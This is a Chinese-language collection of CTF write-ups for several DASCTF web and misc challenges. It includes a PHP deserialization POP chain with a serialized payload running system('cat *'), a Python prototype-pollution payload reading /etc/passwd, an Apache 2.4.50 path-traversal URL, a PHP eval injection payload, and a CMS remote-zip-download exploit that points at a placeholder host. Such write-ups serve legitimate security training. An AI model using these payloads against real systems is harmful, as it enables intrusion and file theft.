Web [2022DASCTF X SU 三月春季挑战赛]ezpop 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php class crow { public $v1; public $v2; function eval() { echo new $this->v1($this->v2); } public function __invoke() { $this->v1->world(); } } class fin { public $f1; public function __destruct() { echo $this->f1 . '114514'; } public function run() { ($this->f1)(); } public function __call($a, $b) { echo $this->f1->get_flag(); } } class what { public $a; public function __toString() { $this->a->run(); return 'hello'; } } class mix { public $m1; public function run() { ($this->m1)(); } public function get_flag() { eval('#' . $this->m1); } } if (isset($_POST['cmd'])) { unserialize($_POST['cmd']); } else { highlight_file(__FILE__); }
分析
使 get_flag触发 ==> fin 中的 f1 = new mix() -> getflag()
使fin中的__call触发 ==> crow 中的 v1 = new fin() -> world()
使crow中的__invoke触发 ==> (fin f1 = new crow(); what -> a = new fin() -> run() )
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php class crow { public $v1 ; public $v2 ; public function __invoke ( ) { $this ->v1->world (); } } class fin { public $f1 ; public function __construct ( ) { echo $this ->f1 . '114514' ; } public function run ( ) { ($this ->f1)(); } public function __call ($a , $b ) { echo $this ->f1->get_flag (); } } class what { public $a ; public function __toString ( ) { $this ->a->run (); return 'hello' ; } } class mix { public $m1 ="?><?php system('cat *')?>" ; public function get_flag ( ) { eval ($this ->m1); } } $onef = new fin ();$onef -> f1 = new mix ();$onec = new crow ();$onec -> v1 = $onef ;$twof = new fin ();$twof ->f1 = $onec ;$onew = new what ();$onew -> a = $twof ;$three = new fin ();$three -> f1 = $onew ;echo serialize ($three )."\n" ;
payload:
1 O:3 :"fin" :1 :{s:2 :"f1" ;O:4 :"what" :1 :{s:1 :"a" ;O:3 :"fin" :1 :{s:2 :"f1" ;O:4 :"crow" :2 :{s:2 :"v1" ;O:3 :"fin" :1 :{s:2 :"f1" ;O:3 :"mix" :1 :{s:2 :"m1" ;s:25 :"?><?php system('cat *')?>" ;}}s:2 :"v2" ;N;}}}}
[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask 题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__) app.secret_key = str (uuid.uuid4()) def check (data ): for i in black_list: if i in data: return False return True def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class user (): def __init__ (self ): self .username = "" self .password = "" pass def check (self, data ): if self .username == data['username' ] and self .password == data['password' ]: return True return False Users = [] @app.route('/register' ,methods=['POST' ] ) def register (): if request.data: try : if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" User = user() merge(data, User) Users.append(User) except Exception: return "Register Failed" return "Register Success" else : return "Register Failed" @app.route('/login' ,methods=['POST' ] ) def login (): if request.data: try : data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for user in Users: if user.check(data): session["username" ] = data["username" ] return "Login Success" except Exception: return "Login Failed" return "Login Failed" @app.route('/' ,methods=['GET' ] ) def index (): return open (__file__, "r" ).read() if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5010 )
register路由中存在merge函数,考虑Python原型链污染
Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园 (cnblogs.com)
register路由接收http传过来的 json数据 用json.load()函数将其解析成 字典或列表 赋值给data
==>
判断data中是否有usernae
或者 password
==>
new user对象 ==>
调用merge() ==>
将user 添加到Users数组中
merge()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
思路: 通过user类中的check方法 调用 __global__
来修改全局变量__file__
进行文件读取
payload:
1 { "username" : "1" , "password" : "1" , "__class__" : { "check" : { "__globals__" : { "__file__" : "/etc/passwd" } } } }
本题flag在/proc/1/environ
[2022DASCTF MAY 出题人挑战赛]getme 进去后页面源码看到当前路径
apache版本为2.4.50
发现有目录穿越漏洞
好像还有一个cgi命令执行漏洞,不过没复现成功
目录穿越来到日志页面http://node5.buuoj.cn:27800/icons/.%%32%65/logs/access_log
找到几个假flag
找到另一个flag
[DASCTF2022.07赋能赛]Ez to getflag 题目进去有
图片上传功能只能上传png文件,并且没有返回图片上传的位置
图片查看返回的是data伪协议
还不能进行目录扫描
在不知道想着怎么写的时候,想着直接用图片查看功能查看/flag
。
出东西了
base64解码
[DASCTF X CBCTF 2022九月挑战赛]dino3d
js审计
全局搜索flag没有发现可用的信息
每次失败时,会自动请求check.php
抓包score
传入得分checkCode
传入一段md5值tm
传入时间戳
尝试直接修改score
,不行
checkCode直接解密解不了,应该是加过salt了
全局搜checkCode
build.min.js文件中存在checkCode
找到checkCode的值
找到salt
找到checkCode的加密方法
t的值没弄清楚,下断点调试,t的值是DASxCBCTF_wElc03e
加盐之后加密checkCode
还是没过去
这里瞄了一眼wp,时间戳也要进行修改
卡好时间戳后
[DASCTF2022.07赋能赛]绝对防御
进去后就一张图片
只能从js下手看看有没有其他路径
使用findsomething发现SUPERAIP.php
进去后一片空白。
查看源码
试着传一个`id = 1
js会过滤一些字符。
在bp里进行后续测试
发现存在布尔盲注
后续就是正常的注入步骤,没有过滤
flag: flag{f37f8c99-69d0-4f88-98f4-60bcaf19d889}
[2022DASCTF MAY 出题人挑战赛]hackme
有个list接口
list路径下,flag是假flag
upload 借口
上传没做过滤,但是读取文件的时候,会按照go文件来读取
上传一个.go后缀的文件
在上传一个没带.go后缀的文件
每次执行命令,只需要修改上传.go文件,然后访问不带.go后缀的文件
cat /flag
这个环境有点怪, 有时候安装上面一模一样的方法上传(指的是在bp里重放包)。它识别不出来。还得重新抓包,来做。
[DASCTF Oct X 吉林工师 欢迎来到魔法世界~]迷路的魔法少女 题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php highlight_file('index.php'); extract($_GET); error_reporting(0); function String2Array($data) { if($data == '') return array(); @eval("\$array = $data;"); return $array; } if(is_array($attrid) && is_array($attrvalue)) { $attrstr .= 'array('; $attrids = count($attrid); for($i=0; $i<$attrids; $i++) { $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"'; if($i < $attrids-1) { $attrstr .= ','; } } $attrstr .= ');'; } String2Array($attrstr);
这题挺简单的,eval哪里可以需要手动闭合一下。没做过这类题脑子可能转不过来(我是没转过来)
payload
1 ?attrid[]=1&&attrvalue[]=");system(%27dir%27);//
[2022DASCTF MAY 出题人挑战赛]ezcms 下载源码附件后在源码中找到后台 账号 密码 认证码
seay对后台源码进行审计
此处代码的作用是
先从url从获取下载地址
判断从url中下载的数据是否为空。
通过sys_auth对url进行解密。默认的key为常量Mc_Encryption_Key
然后通过数据包中的Content-Type字段来判断是否为zip类型的文件。
最后下载zip ==>
解压
可以利用源码中的加密函数对url的值先加密一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php //encryption_key密钥 define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2'); //字符加密、解密 function sys_auth($string, $type = 0, $key = '', $expiry = 0) { if(is_array($string)) $string = json_encode($string); if($type == 1) $string = str_replace('-','+',$string); $ckey_length = 4; $key = md5($key ? $key : Mc_Encryption_Key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($type == 1) { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { $result = substr($result, 26); $json = json_decode($result,1); if(!is_numeric($result) && $json){ return $json; }else{ return $result; } } return ''; } return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result))); } $url = "http://xxx.xxx.xxx.xxx/ma.zip"; var_dump(sys_auth($url));
访问
连接
[2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th]easythinkphp 这题应该是个签到题
进去直接就说明了thinkPHP的版本
直接梭哈了
MISC [2022DASCTF Apr X FATE 防疫挑战赛]SimpleFlow zip文件下载之后,用wireshark 打开压缩包 ==>
追踪http流 发现一个压缩包文件
提取之后 flag.txt被加密了
找到页面
base64
解密一下
代码整理后
接收了POST接收的o1faebd4ec3d97
与g479cf6f058cf8
并截取索引为2之后的数据
这个包是压缩flag.txt的
查这个包中的g479cf6f058cf8
的值
g479cf6f058cf8
==> cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ../flag.txt;echo [S];pwd;echo [E]
压缩时设置的密码为PaSsZiPWorD
[DASCTF X GFCTF 2022十月挑战赛!]滴滴图 附件下载zip压缩包中 存放一个加密zip文件和一个jpg文件
010分析jpg文件,文件头是png头
文件尾是Unicode编码\u0074\u0068\u0069\u0073\u005f\u0069\u0073\u005f\u0070\u0061\u0053\u0053
解码得到
猜测为压缩包密码, 去解ffflaggg.zip
密码错误
盲猜honest_dog.jpg
也隐藏了zip文件(实际上用010看了一下)
honest_dog.jpg
后缀改为zip
虽然提示文件损坏,但是仍然能打开。里面有一个加密的png
使用解码的结果可以解开
文件尾是png,修改宽高。
得到flag
压缩包密码
用A打开音频
莫斯密码解码,上方的是flag
flag用DASCTF包上
[DASCTF Oct X 吉林工师 欢迎来到魔法世界~]魔法信息 下载流量包 ==>
追踪TCP数据流 ==>
发现zip文件
解压时虽然提示图片损坏,但还是可以解压出来
pdf是损坏的 ,打不开
pdf方010看了看,感觉有很大问题,但是没什么思路
再往后我就去看了一眼wp,flag在pdf属性里面
DASCTF{25da50b7993c0db55867a5a51f32f35c}